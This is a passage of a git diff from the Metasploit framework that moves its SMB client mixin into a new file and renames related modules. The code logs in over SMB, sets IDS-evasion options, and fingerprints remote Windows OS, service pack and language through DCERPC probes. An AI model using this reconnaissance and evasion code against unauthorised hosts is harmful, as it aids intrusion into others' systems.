datastore['NTLM::SendLM'], - datastore['NTLM::UseLMKey'], - datastore['NTLM::SendNTLM'], - datastore['SMB::Native_OS'], - datastore['SMB::Native_LM'], - {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - ) - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - end - - - # This method returns the native operating system of the peer - def smb_peer_os - self.simple.client.peer_native_os - end - - # This method returns the native lanman version of the peer - def smb_peer_lm - self.simple.client.peer_native_lm - end - - # This method opens a handle to an IPC pipe - def smb_create(pipe) - self.simple.create_pipe(pipe) - end - - #the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations) - #cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED - #fd.chunk_size = 500 is better - def smb_open(path, perm) - self.simple.open(path, perm, datastore['SMB::ChunkSize']) - end - - def smb_hostname - datastore['SMBName'] || '*SMBSERVER' - end - - def smb_direct - datastore['SMBDirect'] - end - - def domain - datastore['SMBDomain'] - end - - def smbhost - if domain == "." - "#{rhost}:#{rport}" - else - "#{rhost}:#{rport}|#{domain}" - end - end - - # If the username contains a / slash, then - # split it as a domain/username. NOTE: this - # is predicated on forward slashes, and not - # Microsoft's backwards slash convention. - def domain_username_split(user) - return user if(user.nil? || user.empty?) - if !user[/\//] # Only /, not \! - return [nil,user] - else - return user.split("/",2) - end - end - - def splitname(uname) - if datastore["PRESERVE_DOMAINS"] - d,u = domain_username_split(uname) - return u - else - return uname - end - end - - # Whether a remote file exists - # - # @param file [String] Path to a file to remove, relative to the - # most-recently connected share - # @raise [Rex::Proto::SMB::Exceptions::ErrorCode] - def smb_file_exist?(file) - begin - fd = simple.open(file, 'ro') - rescue XCEPT::ErrorCode => e - # If attempting to open the file results in a "*_NOT_FOUND" error, - # then we can be sure the file is not there. - # - # Copy-pasted from smb/exceptions.rb to avoid the gymnastics - # required to pull them out of a giant inverted hash - # - # 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND", - # 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND", - # 0xC0000225 => "STATUS_NOT_FOUND", - error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code) - # If the server returns some other error, then there was a - # permissions problem or some other difficulty that we can't - # really account for and hope the caller can deal with it. - raise e unless error_is_not_found - found = !error_is_not_found - else - # There was no exception, so we know the file is openable - fd.close - found = true - end - - found - end - - # Remove remote file - # - # @param file (see #smb_file_exist?) - # @return [void] - def smb_file_rm(file) - fd = smb_open(file, 'ro') - fd.delete - end - - - # - # Fingerprinting methods - # - - - # Calls the EnumPrinters() function of the spooler service - def smb_enumprinters(flags, name, level, blen) - stub = - NDR.long(flags) + - (name ? NDR.uwstring(name) : NDR.long(0)) + - NDR.long(level) + - NDR.long(rand(0xffffffff)+1)+ - NDR.long(blen) + - "\x00" * blen + - NDR.long(blen) - - handle = dcerpc_handle( - '12345678-1234-abcd-ef00-0123456789ab', '1.0', - 'ncacn_np', ["\\SPOOLSS"] - ) - - begin - dcerpc_bind(handle) - dcerpc.call(0x00, stub) - return dcerpc.last_response.stub_data - rescue ::Interrupt - raise $! - rescue ::Exception => e - return nil - end - end - - # This method dumps the print provider strings from the spooler - def smb_enumprintproviders - resp = smb_enumprinters(8, nil, 1, 0) - return nil if not resp - rptr, tmp, blen = resp.unpack("V*") - - resp = smb_enumprinters(8, nil, 1, blen) - return nil if not resp - - bcnt,pcnt,stat = resp[-12, 12].unpack("VVV") - return nil if stat != 0 - return nil if pcnt == 0 - return nil if bcnt > blen - return nil if pcnt < 3 - - # - # The correct way, which leads to invalid offsets :-( - # - #providers = [] - # - #0.upto(pcnt-1) do |i| - # flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV") - # - # #desc = read_unicode(resp,8+desc_o).gsub("\x00", '') - # #name = read_unicode(resp,8+name_o).gsub("\x00", '') - # #comm = read_unicode(resp,8+comm_o).gsub("\x00", '') - # #providers << [flags,desc,name,comm] - #end - # - #providers - - return resp - - end - - # This method performs an extensive set of fingerprinting operations - def smb_fingerprint - fprint = {} - - # Connect to the server if needed - if not self.simple - connect() - smb_login() - end - - fprint['native_os'] = smb_peer_os() - fprint['native_lm'] = smb_peer_lm() - - # Leverage Recog for SMB native OS fingerprinting - fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { } - - os = fp_match['os.product'] || 'Unknown' - sp = fp_match['os.version'] || '' - - # Metasploit prefers 'Windows 2003' vs 'Windows Server 2003' - if os =~ /^Windows Server/ - os = os.sub(/^Windows Server/, 'Windows') - end - - if fp_match['os.edition'] - fprint['edition'] = fp_match['os.edition'] - end - - if fp_match['os.build'] - fprint['build'] = fp_match['os.build'] - end - - if sp == '' - sp = smb_fingerprint_windows_sp(os) - end - - lang = smb_fingerprint_windows_lang - - fprint['os'] = os - fprint['sp'] = sp - fprint['lang'] = lang - - fprint - end - - # - # Determine the service pack level of a Windows system via SMB probes - # - def smb_fingerprint_windows_sp(os) - sp = '' - - if (os == 'Windows XP') - # SRVSVC was blocked in SP2 - begin - smb_create("\\SRVSVC") - sp = 'Service Pack 0 / 1' - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - if (e.error_code == 0xc0000022) - sp = 'Service Pack 2+' - end - end - end - - if (os == 'Windows 2000' and sp.length == 0) - # LLSRPC was blocked in a post-SP4 update - begin - smb_create("\\LLSRPC") - sp = 'Service Pack 0 - 4' - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - if (e.error_code == 0xc0000022) - sp = 'Service Pack 4 with MS05-010+' - end - end - end - - # - # Perform granular XP SP checks if LSARPC is exposed - # - if (os == 'Windows XP') - - # - # Service Pack 2 added a range(0,64000) to opnum 0x22 in SRVSVC - # Credit to spoonm for first use of unbounded [out] buffers - # - handle = dcerpc_handle( - '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', - 'ncacn_np', ["\\BROWSER"] - ) - - begin - dcerpc_bind(handle) - - stub = - NDR.uwstring(Rex::Text.rand_text_alpha(rand(10)+1)) + - NDR.wstring(Rex::Text.rand_text_alpha(rand(10)+1)) + - NDR.long(64001) + - NDR.long(0) + - NDR.long(0) - - dcerpc.call(0x22, stub) - sp = "Service Pack 0 / 1" - - rescue ::Interrupt - raise $! - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode - rescue ::Rex::Proto::SMB::Exceptions::ReadPacket - rescue ::Rex::Proto::DCERPC::Exceptions::Fault - sp = "Service Pack 2+" - rescue ::Exception - end - - - # - # Service Pack 3 fixed information leaks via [unique][out] pointers - # Call SRVSVC::NetRemoteTOD() to return [out] [ref] [unique] - # Credit: - # Pointer leak is well known, but Immunity also covered in a paper - # Silent fix of pointer leak in SP3 and detection method by Rhys Kidd - # - handle = dcerpc_handle( - '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', - 'ncacn_np', ["\\BROWSER"] - ) - - begin - dcerpc_bind(handle) - - stub = NDR.uwstring(Rex::Text.rand_text_alpha(rand(8)+1)) - resp = dcerpc.call(0x1c, stub) - - if(resp and resp[0,4] == "\x00\x00\x02\x00") - sp = "Service Pack 3" - else - if(resp and sp =~ /Service Pack 2\+/) - sp = "Service Pack 2" - end - end - - rescue ::Interrupt - raise $! - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode - rescue ::Rex::Proto::SMB::Exceptions::ReadPacket - rescue ::Exception - end - end - - sp - end - - - # - # Determine the native language pack of a Windows system via SMB probes - # - def smb_fingerprint_windows_lang - - # - # Remote language detection via Print Providers - # Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt - # - - lang = 'Unknown' - - sigs = - { - 'English' => - [ - Rex::Text.to_unicode('Windows NT Remote Printers'), - Rex::Text.to_unicode('LanMan Print Services') - ], - 'Spanish' => - [ - Rex::Text.to_unicode('Impresoras remotas Windows NT'), - Rex::Text.to_unicode('Impresoras remotas de Windows NT') - ], - 'Italian' => - [ - Rex::Text.to_unicode('Stampanti remote di Windows NT'), - Rex::Text.to_unicode('Servizi di stampa LanMan') - ], - 'French' => - [ - Rex::Text.to_unicode('Imprimantes distantes NT'), - Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'), - Rex::Text.to_unicode("Services d'impression LanMan") - ], - 'German' => - [ - Rex::Text.to_unicode('Remotedrucker') - ], - 'Portuguese - Brazilian' => - [ - Rex::Text.to_unicode('Impr. remotas Windows NT'), - Rex::Text.to_unicode('Impressoras remotas do Windows NT') - ], - 'Portuguese' => - [ - Rex::Text.to_unicode('Imp. remotas do Windows NT') - ], - 'Hungarian' => - [ - Rex::Text.to_unicode("\x54\xe1\x76\x6f\x6c\x69\x20\x6e\x79\x6f\x6d\x74\x61\x74\xf3\x6b") - ], - 'Finnish' => - [ - Rex::Text.to_unicode("\x45\x74\xe4\x74\x75\x6c\x6f\x73\x74\x69\x6d\x65\x74") - ], - 'Dutch' => - [ - Rex::Text.to_unicode('Externe printers voor NT') - ], - 'Danish' => - [ - Rex::Text.to_unicode('Fjernprintere') - ], - 'Swedish' => - [ - Rex::Text.to_unicode("\x46\x6a\xe4\x72\x72\x73\x6b\x72\x69\x76\x61\x72\x65") - ], - 'Polish' => - [ - Rex::Text.to_unicode('Zdalne drukarki') - ], - 'Czech' => - [ - Rex::Text.to_unicode("\x56\x7a\x64\xe1\x6c\x65\x6e\xe9\x20\x74\x69\x73\x6b\xe1\x72\x6e\x79") - ], - 'Turkish' => - [ - "\x59\x00\x61\x00\x7a\x00\x31\x01\x63\x00\x31\x01\x6c\x00\x61\x00\x72\x00" - ], - 'Japanese' => - [ - "\xea\x30\xe2\x30\xfc\x30\xc8\x30\x20\x00\xd7\x30\xea\x30\xf3\x30\xbf\x30" - ], - 'Chinese - Traditional' => - [ - "\xdc\x8f\x0b\x7a\x53\x62\x70\x53\x3a\x67" - ], - 'Chinese - Traditional / Taiwan' => - [ - "\x60\x90\xef\x7a\x70\x53\x68\x88\x5f\x6a", - ], - 'Korean' => - [ - "\xd0\xc6\xa9\xac\x20\x00\x04\xd5\xb0\xb9\x30\xd1", - ], - 'Russian' => - [ - "\x1f\x04\x40\x04\x38\x04\x3d\x04\x42\x04\x35\x04\x40\x04\x4b\x04\x20\x00\x43\x04\x34\x04\x30\x04\x3b\x04\x35\x04\x3d\x04\x3d\x04\x3e\x04\x33\x04\x3e\x04\x20\x00\x34\x04\x3e\x04\x41\x04\x42\x04\x43\x04\x3f\x04\x30\x04", - ], - - } - - begin - prov = smb_enumprintproviders() - if(prov) - sigs.each_key do |k| - sigs[k].each do |s| - if(prov.index(s)) - lang = k - break - end - break if lang != 'Unknown' - end - break if lang != 'Unknown' - end - - if(lang == 'Unknown') - - @fpcache ||= {} - mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4]) - - if(not @fpcache[mhash]) - - buff = "\n" - buff << "*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\n" - buff << " VERS: $Revision$\n" - buff << " HOST: #{rhost}\n" - buff << " OS: #{os}\n" - buff << " SP: #{sp}\n" - - prov.unpack("H*")[0].scan(/.{64}|.*/).each do |line| - next if line.length == 0 - buff << " FP: #{line}\n" - end - - prov.split(/\x00\x00+/n).each do |line| - line.gsub!("\x00",'') - line.strip! - next if line.length < 6 - - buff << " TXT: #{line}\n" - end - - buff << "*** END FINGERPRINT\n" - - print_line(buff) - - @fpcache[mhash] = true - end - - end - end - rescue ::Interrupt - raise $! - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode - end - lang - end - - # @return [Rex::Proto::SMB::SimpleClient] - attr_accessor :simple - -end - - -end diff --git a/lib/msf/core/exploit/smb/client.rb b/lib/msf/core/exploit/smb/client.rb new file mode 100644 index 0000000000..c4de7bef5f --- /dev/null +++ b/lib/msf/core/exploit/smb/client.rb @@ -0,0 +1,636 @@ +# -*- coding: binary -*- +require 'rex/proto/smb' +require 'rex/proto/ntlm' +require 'rex/proto/dcerpc' +require 'rex/encoder/ndr' + +module Msf + module Exploit::Remote::SMB + # This mixin provides utility methods for interacting with a SMB/CIFS service on + # a remote machine. These methods may generally be useful in the context of + # exploitation. This mixin extends the Tcp exploit mixin. Only one SMB + # service can be accessed at a time using this class. + module Client + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::NTLM::Client + + SIMPLE = Rex::Proto::SMB::SimpleClient + XCEPT = Rex::Proto::SMB::Exceptions + CONST = Rex::Proto::SMB::Constants + + + # Alias over the Rex DCERPC protocol modules + DCERPCPacket = Rex::Proto::DCERPC::Packet + DCERPCClient = Rex::Proto::DCERPC::Client + DCERPCResponse = Rex::Proto::DCERPC::Response + DCERPCUUID = Rex::Proto::DCERPC::UUID + NDR = Rex::Encoder::NDR + + def initialize(info = {}) + super + + register_evasion_options( + [ + OptBool.new('SMB::pipe_evasion', [ true, 'Enable segmented read/writes for SMB Pipes', false]), + OptInt.new('SMB::pipe_write_min_size', [ true, 'Minimum buffer size for pipe writes', 1]), + OptInt.new('SMB::pipe_write_max_size', [ true, 'Maximum buffer size for pipe writes', 1024]), + OptInt.new('SMB::pipe_read_min_size', [ true, 'Minimum buffer size for pipe reads', 1]), + OptInt.new('SMB::pipe_read_max_size', [ true, 'Maximum buffer size for pipe reads', 1024]), + OptInt.new('SMB::pad_data_level', [ true, 'Place extra padding between headers and data (level 0-3)', 0]), + OptInt.new('SMB::pad_file_level', [ true, 'Obscure path names used in open/create (level 0-3)', 0]), + OptInt.new('SMB::obscure_trans_pipe_level', [ true, 'Obscure PIPE string in TransNamedPipe (level 0-3)', 0]), + + ], Msf::Exploit::Remote::SMB::Client) + + register_advanced_options( + [ + OptBool.new('SMBDirect', [ false, 'The target port is a raw SMB service (not NetBIOS)', true ]), + OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), + OptString.new('SMBPass', [ false, 'The password for the specified username', '']), + OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']), + OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']), + OptBool.new('SMB::VerifySignature', [ true, "Enforces client-side verification of server response signatures", false]), + OptInt.new('SMB::ChunkSize', [ true, 'The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing', 500]), + # + # Control the identified operating system of the client + # + OptString.new('SMB::Native_OS', [ true, 'The Native OS to send during authentication', 'Windows 2000 2195']), + OptString.new('SMB::Native_LM', [ true, 'The Native LM to send during authentication', 'Windows 2000 5.0']), + + ], Msf::Exploit::Remote::SMB::Client) + + register_options( + [ + Opt::RHOST, + OptInt.new('RPORT', [ true, 'Set the SMB service port', 445]) + ], Msf::Exploit::Remote::SMB::Client) + + register_autofilter_ports([ 139, 445]) + register_autofilter_services(%W{ netbios-ssn microsoft-ds }) + end + + # Override {Exploit::Remote::Tcp#connect} to setup an SMB connection + # and configure evasion options + # + # Also populates {#simple}. + # + # @param (see Exploit::Remote::Tcp#connect) + # @return (see Exploit::Remote::Tcp#connect) + def connect(global=true) + + disconnect() if global + + s = super(global) + self.sock = s if global + + # Disable direct SMB when SMBDirect has not been set + # and the destination port is configured as 139 + direct = smb_direct + if(datastore.default?('SMBDirect') and rport.to_i == 139) + direct = false + end + + c = SIMPLE.new(s, direct) + + # setup pipe evasion foo + if datastore['SMB::pipe_evasion'] + # XXX - insert code to change the instance of the read/write functions to do segmentation + end + + if (datastore['SMB::pad_data_level']) + c.client.evasion_opts['pad_data'] = datastore['SMB::pad_data_level'] + end + + if (datastore['SMB::pad_file_level']) + c.client.evasion_opts['pad_file'] = datastore['SMB::pad_file_level'] + end + + if (datastore['SMB::obscure_trans_pipe_level']) + c.client.evasion_opts['obscure_trans_pipe'] = datastore['SMB::obscure_trans_pipe_level'] + end + + self.simple = c if global + c + end + + # Convert a standard ASCII string to 16-bit Unicode + def unicode(str) + Rex::Text.to_unicode(str) + end + + # Establishes an SMB session over the default socket and connects to + # the IPC$ share. + # + # You should call {#connect} before calling this + # + # @return [void] + def smb_login + simple.login( + datastore['SMBName'], + datastore['SMBUser'], + datastore['SMBPass'], + datastore['SMBDomain'], + datastore['SMB::VerifySignature'], + datastore['NTLM::UseNTLMv2'], + datastore['NTLM::UseNTLM2_session'], + datastore['NTLM::SendLM'], + datastore['NTLM::UseLMKey'], + datastore['NTLM::SendNTLM'], + datastore['SMB::Native_OS'], + datastore['SMB::Native_LM'], + {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} + ) + simple.connect("\\\\#{datastore['RHOST']}\\IPC$") + end + + + # This method returns the native operating system of the peer + def smb_peer_os + self.simple.client.peer_native_os + end + + # This method returns the native lanman version of the peer + def smb_peer_lm + self.simple.client.peer_native_lm + end + + # This method opens a handle to an IPC pipe + def smb_create(pipe) + self.simple.create_pipe(pipe) + end + + #the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations) + #cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED + #fd.chunk_size = 500 is better + def smb_open(path, perm) + self.simple.open(path, perm, datastore['SMB::ChunkSize']) + end + + def smb_hostname + datastore['SMBName'] || '*SMBSERVER' + end + + def smb_direct + datastore['SMBDirect'] + end + + def domain + datastore['SMBDomain'] + end + + def smbhost + if domain == "." + "#{rhost}:#{rport}" + else + "#{rhost}:#{rport}|#{domain}" + end + end + + # If the username contains a / slash, then + # split it as a domain/username. NOTE: this + # is predicated on forward slashes, and not + # Microsoft's backwards slash convention. + def domain_username_split(user) + return user if(user.nil? || user.empty?) + if !user[/\//] # Only /, not \! + return [nil,user] + else + return user.split("/",2) + end + end + + def splitname(uname) + if datastore["PRESERVE_DOMAINS"] + d,u = domain_username_split(uname) + return u + else + return uname + end + end + + # Whether a remote file exists + # + # @param file [String] Path to a file to remove, relative to the + # most-recently connected share + # @raise [Rex::Proto::SMB::Exceptions::ErrorCode] + def smb_file_exist?(file) + begin + fd = simple.open(file, 'ro') + rescue XCEPT::ErrorCode => e + # If attempting to open the file results in a "*_NOT_FOUND" error, + # then we can be sure the file is not there. + # + # Copy-pasted from smb/exceptions.rb to avoid the gymnastics + # required to pull them out of a giant inverted hash + # + # 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND", + # 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND", + # 0xC0000225 => "STATUS_NOT_FOUND", + error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code) + # If the server returns some other error, then there was a + # permissions problem or some other difficulty that we can't + # really account for and hope the caller can deal with it. + raise e unless error_is_not_found + found = !error_is_not_found + else + # There was no exception, so we know the file is openable + fd.close + found = true + end + + found + end + + # Remove remote file + # + # @param file (see #smb_file_exist?) + # @return [void] + def smb_file_rm(file) + fd = smb_open(file, 'ro') + fd.delete + end + + + # + # Fingerprinting methods + # + + + # Calls the EnumPrinters() function of the spooler service + def smb_enumprinters(flags, name, level, blen) + stub = + NDR.long(flags) + + (name ? NDR.uwstring(name) : NDR.long(0)) + + NDR.long(level) + + NDR.long(rand(0xffffffff)+1)+ + NDR.long(blen) + + "\x00" * blen + + NDR.long(blen) + + handle = dcerpc_handle( + '12345678-1234-abcd-ef00-0123456789ab', '1.0', + 'ncacn_np', ["\\SPOOLSS"] + ) + + begin + dcerpc_bind(handle) + dcerpc.call(0x00, stub) + return dcerpc.last_response.stub_data + rescue ::Interrupt + raise $! + rescue ::Exception => e + return nil + end + end + + # This method dumps the print provider strings from the spooler + def smb_enumprintproviders + resp = smb_enumprinters(8, nil, 1, 0) + return nil if not resp + rptr, tmp, blen = resp.unpack("V*") + + resp = smb_enumprinters(8, nil, 1, blen) + return nil if not resp + + bcnt,pcnt,stat = resp[-12, 12].unpack("VVV") + return nil if stat != 0 + return nil if pcnt == 0 + return nil if bcnt > blen + return nil if pcnt < 3 + + # + # The correct way, which leads to invalid offsets :-( + # + #providers = [] + # + #0.upto(pcnt-1) do |i| + # flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV") + # + # #desc = read_unicode(resp,8+desc_o).gsub("\x00", '') + # #name = read_unicode(resp,8+name_o).gsub("\x00", '') + # #comm = read_unicode(resp,8+comm_o).gsub("\x00", '') + # #providers << [flags,desc,name,comm] + #end + # + #providers + + return resp + + end + + # This method performs an extensive set of fingerprinting operations + def smb_fingerprint + fprint = {} + + # Connect to the server if needed + if not self.simple + connect() + smb_login() + end + + fprint['native_os'] = smb_peer_os() + fprint['native_lm'] = smb_peer_lm() + + # Leverage Recog for SMB native OS fingerprinting + fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { } + + os = fp_match['os.product'] || 'Unknown' + sp = fp_match['os.version'] || '' + + # Metasploit prefers 'Windows 2003' vs 'Windows Server 2003' + if os =~ /^Windows Server/ + os = os.sub(/^Windows Server/, 'Windows') + end + + if fp_match['os.edition'] + fprint['edition'] = fp_match['os.edition'] + end + + if fp_match['os.build'] + fprint['build'] = fp_match['os.build'] + end + + if sp == '' + sp = smb_fingerprint_windows_sp(os) + end + + lang = smb_fingerprint_windows_lang + + fprint['os'] = os + fprint['sp'] = sp + fprint['lang'] = lang + + fprint + end + + # + # Determine the service pack level of a Windows system via SMB probes + # + def smb_fingerprint_windows_sp(os) + sp = '' + + if (os == 'Windows XP') + # SRVSVC was blocked in SP2 + begin + smb_create("\\SRVSVC") + sp = 'Service Pack 0 / 1' + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e + if (e.error_code == 0xc0000022) + sp = 'Service Pack 2+' + end + end + end + + if (os == 'Windows 2000' and sp.length == 0) + # LLSRPC was blocked in a post-SP4 update + begin + smb_create("\\LLSRPC") + sp = 'Service Pack 0 - 4' + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e + if (e.error_code == 0xc0000022) + sp = 'Service Pack 4 with MS05-010+' + end + end + end + + # + # Perform granular XP SP checks if LSARPC is exposed + # + if (os == 'Windows XP') + + # + # Service Pack 2 added a range(0,64000) to opnum 0x22 in SRVSVC + # Credit to spoonm for first use of unbounded [out] buffers + # + handle = dcerpc_handle( + '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', + 'ncacn_np', ["\\BROWSER"] + ) + + begin + dcerpc_bind(handle) + + stub = + NDR.uwstring(Rex::Text.rand_text_alpha(rand(10)+1)) + + NDR.wstring(Rex::Text.rand_text_alpha(rand(10)+1)) + + NDR.long(64001) + + NDR.long(0) + + NDR.long(0) + + dcerpc.call(0x22, stub) + sp = "Service Pack 0 / 1" + + rescue ::Interrupt + raise $! + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + rescue ::Rex::Proto::SMB::Exceptions::ReadPacket + rescue ::Rex::Proto::DCERPC::Exceptions::Fault + sp = "Service Pack 2+" + rescue ::Exception + end + + + # + # Service Pack 3 fixed information leaks via [unique][out] pointers + # Call SRVSVC::NetRemoteTOD() to return [out] [ref] [unique] + # Credit: + # Pointer leak is well known, but Immunity also covered in a paper + # Silent fix of pointer leak in SP3 and detection method by Rhys Kidd + # + handle = dcerpc_handle( + '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', + 'ncacn_np', ["\\BROWSER"] + ) + + begin + dcerpc_bind(handle) + + stub = NDR.uwstring(Rex::Text.rand_text_alpha(rand(8)+1)) + resp = dcerpc.call(0x1c, stub) + + if(resp and resp[0,4] == "\x00\x00\x02\x00") + sp = "Service Pack 3" + else + if(resp and sp =~ /Service Pack 2\+/) + sp = "Service Pack 2" + end + end + + rescue ::Interrupt + raise $! + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + rescue ::Rex::Proto::SMB::Exceptions::ReadPacket + rescue ::Exception + end + end + + sp + end + + + # + # Determine the native language pack of a Windows system via SMB probes + # + def smb_fingerprint_windows_lang + + # + # Remote language detection via Print Providers + # Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt + # + + lang = 'Unknown' + + sigs = + { + 'English' => + [ + Rex::Text.to_unicode('Windows NT Remote Printers'), + Rex::Text.to_unicode('LanMan Print Services') + ], + 'Spanish' => + [ + Rex::Text.to_unicode('Impresoras remotas Windows NT'), + Rex::Text.to_unicode('Impresoras remotas de Windows NT') + ], + 'Italian' => + [ + Rex::Text.to_unicode('Stampanti remote di Windows NT'), + Rex::Text.to_unicode('Servizi di stampa LanMan') + ], + 'French' => + [ + Rex::Text.to_unicode('Imprimantes distantes NT'), + Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'), + Rex::Text.to_unicode("Services d'impression LanMan") + ], + 'German' => + [ + Rex::Text.to_unicode('Remotedrucker') + ], + 'Portuguese - Brazilian' => + [ + Rex::Text.to_unicode('Impr. remotas Windows NT'), + Rex::Text.to_unicode('Impressoras remotas do Windows NT') + ], + 'Portuguese' => + [ + Rex::Text.to_unicode('Imp. remotas do Windows NT') + ], + 'Hungarian' => + [ + Rex::Text.to_unicode("\x54\xe1\x76\x6f\x6c\x69\x20\x6e\x79\x6f\x6d\x74\x61\x74\xf3\x6b") + ], + 'Finnish' => + [ + Rex::Text.to_unicode("\x45\x74\xe4\x74\x75\x6c\x6f\x73\x74\x69\x6d\x65\x74") + ], + 'Dutch' => + [ + Rex::Text.to_unicode('Externe printers voor NT') + ], + 'Danish' => + [ + Rex::Text.to_unicode('Fjernprintere') + ], + 'Swedish' => + [ + Rex::Text.to_unicode("\x46\x6a\xe4\x72\x72\x73\x6b\x72\x69\x76\x61\x72\x65") + ], + 'Polish' => + [ + Rex::Text.to_unicode('Zdalne drukarki') + ], + 'Czech' => + [ + Rex::Text.to_unicode("\x56\x7a\x64\xe1\x6c\x65\x6e\xe9\x20\x74\x69\x73\x6b\xe1\x72\x6e\x79") + ], + 'Turkish' => + [ + "\x59\x00\x61\x00\x7a\x00\x31\x01\x63\x00\x31\x01\x6c\x00\x61\x00\x72\x00" + ], + 'Japanese' => + [ + "\xea\x30\xe2\x30\xfc\x30\xc8\x30\x20\x00\xd7\x30\xea\x30\xf3\x30\xbf\x30" + ], + 'Chinese - Traditional' => + [ + "\xdc\x8f\x0b\x7a\x53\x62\x70\x53\x3a\x67" + ], + 'Chinese - Traditional / Taiwan' => + [ + "\x60\x90\xef\x7a\x70\x53\x68\x88\x5f\x6a", + ], + 'Korean' => + [ + "\xd0\xc6\xa9\xac\x20\x00\x04\xd5\xb0\xb9\x30\xd1", + ], + 'Russian' => + [ + "\x1f\x04\x40\x04\x38\x04\x3d\x04\x42\x04\x35\x04\x40\x04\x4b\x04\x20\x00\x43\x04\x34\x04\x30\x04\x3b\x04\x35\x04\x3d\x04\x3d\x04\x3e\x04\x33\x04\x3e\x04\x20\x00\x34\x04\x3e\x04\x41\x04\x42\x04\x43\x04\x3f\x04\x30\x04", + ], + + } + + begin + prov = smb_enumprintproviders() + if(prov) + sigs.each_key do |k| + sigs[k].each do |s| + if(prov.index(s)) + lang = k + break + end + break if lang != 'Unknown' + end + break if lang != 'Unknown' + end + + if(lang == 'Unknown') + + @fpcache ||= {} + mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4]) + + if(not @fpcache[mhash]) + + buff = "\n" + buff << "*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\n" + buff << " VERS: $Revision$\n" + buff << " HOST: #{rhost}\n" + buff << " OS: #{os}\n" + buff << " SP: #{sp}\n" + + prov.unpack("H*")[0].scan(/.{64}|.*/).each do |line| + next if line.length == 0 + buff << " FP: #{line}\n" + end + + prov.split(/\x00\x00+/n).each do |line| + line.gsub!("\x00",'') + line.strip! + next if line.length < 6 + + buff << " TXT: #{line}\n" + end + + buff << "*** END FINGERPRINT\n" + + print_line(buff) + + @fpcache[mhash] = true + end + + end + end + rescue ::Interrupt + raise $! + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + end + lang + end + + # @return [Rex::Proto::SMB::SimpleClient] + attr_accessor :simple + end + end +end diff --git a/lib/msf/core/exploit/smb/authenticated.rb b/lib/msf/core/exploit/smb/client/authenticated.rb similarity index 77% rename from lib/msf/core/exploit/smb/authenticated.rb rename to lib/msf/core/exploit/smb/client/authenticated.rb index f4919b71ff..8f865afcbb 100644 --- a/lib/msf/core/exploit/smb/authenticated.rb +++ b/lib/msf/core/exploit/smb/client/authenticated.rb @@ -4,9 +4,9 @@ module Msf # Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced # Included when the module needs credentials to function -module Exploit::Remote::SMB::Authenticated +module Exploit::Remote::SMB::Client::Authenticated - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super @@ -15,7 +15,7 @@ module Exploit::Remote::SMB::Authenticated OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), OptString.new('SMBPass', [ false, 'The password for the specified username', '']), OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']), - ], Msf::Exploit::Remote::SMB::Authenticated) + ], Msf::Exploit::Remote::SMB::Client::Authenticated) end end diff --git a/lib/msf/core/exploit/smb/psexec.rb b/lib/msf/core/exploit/smb/client/psexec.rb similarity index 95% rename from lib/msf/core/exploit/smb/psexec.rb rename to lib/msf/core/exploit/smb/client/psexec.rb index 1fe6c498bc..bd60e6c675 100644 --- a/lib/msf/core/exploit/smb/psexec.rb +++ b/lib/msf/core/exploit/smb/client/psexec.rb @@ -11,11 +11,11 @@ module Msf # and running a binary. #### -module Exploit::Remote::SMB::Psexec +module Exploit::Remote::SMB::Client::Psexec include Rex::Constants::Windows include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client::Authenticated def initialize(info = {}) super @@ -35,7 +35,7 @@ module Exploit::Remote::SMB::Psexec # Retrieve the SERVICE_NAME option, generate a random # one if not already set. # - # @return service_name [String] the name 